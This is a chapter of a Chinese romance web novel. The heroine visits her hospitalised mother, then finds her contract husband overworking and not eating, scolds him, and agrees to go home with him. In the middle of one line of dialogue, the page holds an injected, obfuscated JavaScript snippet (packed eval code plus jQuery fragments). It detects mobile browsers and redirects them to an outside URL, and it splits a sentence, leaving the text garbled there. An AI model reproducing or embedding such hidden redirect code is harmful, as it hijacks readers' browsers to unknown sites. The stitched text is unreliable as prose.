37. 需要你

作品:《脱敏治疗

    孟况收到消息时,她在外地出差,等到了医院,已经是半夜。


    她匆匆忙忙找到病房,不管不顾地冲了进去,映入视线的一幕就是沈青容躺在病床上,孟裕国在一旁照看,为她掖被角,她还在那儿笑。


    “...况况?”


    女儿突然地出现,令夫妻俩格外感到意外。


    孟况直奔而入,衣角还沾着些许赶来时的湿冷,却挡不住全身的怒火,她直直地盯着沈青容,一阵无声,十分压迫。


    沈青容斜一旁的孟裕国,“我可什么都没跟女儿说。”


    “不是爸爸。”孟况开口,她的表情很严肃:“如果我不知道,妈妈又打算瞒着我多久?”


    “妈妈这不是好好的在这儿吗?又不是什么大事。”面对女儿的质疑,沈青容想打着马哈揭过。


    “低钾血症还不是什么大事?”


    孟况猛地拔高声贝,沈青容意识到宝贝女儿这回是真的生气了,一如她当初瞒着自己受伤不告诉家里人是一个道理。


    在赶来的路中,孟况一直都很紧张不安,还去搜了关于低钾症状的帖子。


    乏力、疲劳、肌肉酸痛还会引起心悸和心慌。轻微还好,严重的话可能会波及生命!


    所以听到母亲这么不当一回事的话,孟况才会感觉更加生气。


    “我下去给你买点水果。”


    孟况太急切了,什么都还没来得及买,两手空荡荡的。


    她在楼下买了不少香蕉橙子哈密瓜等富含钾的水果,刚付完钱,一出店门就和一个熟人打了个照面。


    “顾思义?”


    他臂弯间挂着一件白大褂,眉眼之间尽显疲倦,他过来的方向好像也是同一所私人医院。


    “孟况。”他略微感到震惊,显然没想到又碰上她了,“你怎么在这儿。”


    孟况拎了拎手里的水果,不等她说话,顾思义又道:“来陪周且琛的?”


    周且琛?


    跟他有什么关系。


    “你过来了也好,帮我多劝劝他,他这段时间状态很差。”


    顾思义没头没尾地飙来这两句话,孟况没太弄懂事情的来龙去脉。


    于是,顺势接下去。


    “他又不听话了?”


    “嗯,岂止?都进医院好几次了,再继续下去,再强悍的身体都会垮。”


    他说着,下一秒来了电话,上面备注显示——好好。


    由此,顾思义原本冷淡的神情发生了一些细微的变化,孟况很敏锐地捕捉到了。


    应该是他那个还在国外游玩的新婚妻子?


    “我还有事,就先走了。”


    孟况没再多说,轻点头。她停留在门口了一会儿又折返回去,多买了一些。


    等回到病房时,沈青容已经在输液了。


    她依旧摆着个臭脸,坐在病床前,给沈青容剥香蕉。


    “况况,我知道你是在跟妈妈生气,气妈妈不跟你说这件事。”沈青容接过她递来的香蕉,没咬一口,只是盯着那白嫩肥嘟的香蕉肉,跟她说一说话。


    “...你知道就好。”


    她还闷里闷声。


    孟况知道,母亲不跟她说,是自以为是地为自己好。


    但她不要。


    “那你记得还上次自己受伤那次吗?你不也和妈妈的想法一样吗。”


    沈青容一顿好言好语输出:“我们都是同样的理由,都是不想让最亲近的人担心,都是想为对方好,可我们需要换位思考,对不对?你不是本人,不能够真正代表当事人的。”


    所以妈妈那次也很生气。


    她们母女俩身份置换一下,反应也都意料之中。


    “况况。”沈青容覆上她的手背,轻轻拍了拍,语言力量柔和又具有安抚性。


    “我希望你能明白,与任何亲密的人都要有话就直说,无论是发生了什么事,或者你有什么想法,都及时提出来,若是等到事情一过,那可能来不及了。”


    “也不要再打着为对方好的旗号而招摇过市,很可能会成为别人的痛苦和负担,到时候只会口角不断。”


    在她出去的短暂时间,沈青容同时也在进行深刻的自我反省。


    这番话,孟况也能听出来大概的意思。


    她已经察觉出了自己和周且琛之间闹了点矛盾。


    孟况始终低头不语,沈青容没强迫她,给她留有富余的时间去思考。


    孟裕国叫人送了一些夜宵上来,都是平时沈青容爱吃的,榴莲臭豆腐、还有螺蛳粉,整个病房都要腌入味了。沈青容嘴上说着太夸张了,搞得满屋子都是味道,但脸上掩盖不住喜悦。


    孟况站在病房门口,看着父母一唱一和,如此恩爱的画面。


    突然想起来这些年都是。


    爸爸很爱妈妈。


    像他这么一个脾气容易暴躁的人,愿意为了妈妈而收敛本性。


    孟裕国和沈青容也是家族联姻。


    不同的是,孟裕国早就喜欢上她了,只是那会儿沈青容心里还有别人罢了。


    但他并不介意。


    后来,两人在日益相处中,沈青容逐渐被他打动,彻底放下初恋,与他真正相爱了。


    夫妻俩还在嬉闹,孟况想起什么,她转身,倚靠在病房门口,翻出严随的聊天框。


    【严特助,周且琛在哪间病房?】


    -


    快要走到门口时,孟况拎着水果,觉得自己大概是脑抽了。


    她来就来,就当做不经意的,协议夫妻之间的一场问候不就好了?


    孟况深吸一口气,刚想打退堂鼓,想着要不明天再来算了,不然显得她很心急。结果,面前的病房门却开了。


    有人从里面出来了,是严随。


    他恭敬地唤她一声:“太太。”


    这一声,不轻不重,但应该足够让里面的人察觉。


    “严特助。”


    孟况的目光在他捧着的那堆文件上来回漂移。


    “你这是...?”


    “这是周总让我带来处理的文件。”


    孟况蹙眉,“他还在工作?”


    “是的。”他说完,又补充一句:“...先生晚饭还没吃。”


    直到听到这句话,孟况瞬间被点燃,气炸了。


    她不再有所顾忌,直接推开病房门,气得咬着腮帮子,脸色冷得很难看。


    周且琛循声望去,他也很震惊,穿着一身病号服,手里还执笔批文件,旁边还放着一个食盒,里面的饭菜已经冷透了。


    他愣了愣,脱口第一句就是:“...你怎么来了?”


    孟况把水果丢在他床上,眼底一片愤怒,几乎要迸发出火光,她气呼呼,扬声道。


    “我怎么来了?我来给你收尸。”


    周且琛不明所以,静静地看着她发火,没再敢动。


    良久,等她缓了缓,情绪不再起伏那么严重,周且琛才继续说话,语气里带了几分淡淡的笑意。


    “怎么了?谁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051664|193213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惹你生气了。”


    孟况咬牙切齿:“远在天边,近在眼前!”


    “我?”周且琛没太懂她的意思,忽而想起什么,兀自解释一番。


    “你是指这些天,没给你发消息吗?抱歉,是我的错,这段时间公司事物比较繁冗,而且我听说你去了北临...”


    “周且琛,你是不是没好好吃饭?”


    “什...么?”


    突如其来的一句问话,头脑向来精明的周且琛不由得呆滞了几秒。


    孟况指着他旁边的食盒,问他,“这个,你吃过一口吗?”


    他顺着她的方向,瞥到旁边的食盒,周且琛才发现自己身边还有一只未来得及打开的饭菜。


    他僵硬了一瞬,没否认,而是表达歉意。


    “抱歉,我...”


    “没关系,你继续吧,等你死了,我就能守活寡,年纪轻轻当上寡妇,就算再过几年都我还年轻,另外找一个比你更优秀的人嫁了也不是没这个可能。”


    孟况却重重坐在沙发,双手抱臂,静静地凝望着他,说出口的话毒辣又不留情面。


    这顿话,周且琛没生气恼怒,反而引起了一阵沉默的笑。


    他把文件全都通通收好来,一一放进了收纳袋中,严随进病房,把文件收走。


    “继续呀,怎么不继续了。”


    孟况这嘴跟淬了毒似的,特别洪亮又狠毒,还能咒自己寡妇。


    “孟况。”


    他凝视她,神情柔和认真,“你是在担心我吗?”


    这人不按照套路出牌,孟况凝噎了下,好似给自己毒哑了,唇瓣一时之间张不开。


    她眼神飘忽不定,不再和他对望。


    “...我可不想年纪轻轻就当寡妇,传出去总归是不好听的,说不定还可能造谣我克死了老公呢。”孟况喃喃说道,给自己找补。


    “这样确实很不好。”周且琛始终保持微笑,甚至还点头附和,对她的假设表示理解和赞同,“我怕我今晚出了什么事情都没人知道,为避免这种事情发生,对你产生不好的影响,所以孟况...”


    “今晚跟我回家吧,好不好?”


    ...


    孟况坐在车上,看着不断往后倒退的夜景,有点头晕眼花,她觉得自己一定是被周且琛那套话术给蛊惑了。


    要不然怎么会答应跟他回家?


    所以...他们两个算和好了吗。


    孟况有点纠结。


    在车上,他一直在闭目养神,看来确实是太累了。


    也不清楚顾思义说他都进医院好几次了,究竟是因为什么反复进医院。


    总之,知道他不按时好好吃饭的时候,孟况连带着从沈青容那边的怒火一下子被一并点燃了。


    不好好吃饭对身体的影响很大的。


    说不定他也很缺钾。


    水果没丢在病房,被周且琛整理好带了回来。


    两人回到天府,一开门,里面的灯光全部都自动打开,天府偌大又空旷,一股凉飕飕的冷风直扑面而来。


    她离开之后,难道他也很少回家了吗?


    周且琛从鞋柜里拿出一双拖鞋放在她脚边,他蹲在那儿,没起身。


    孟况没换,而是先给他打一针。


    “事先声明,不是我要回来的,我是怕你出了什么意外在家里没人发现。”


    “嗯,好。”


    周且琛嗓音低低的,柔柔的,轻轻地抚过她的心间:“是我需要你。”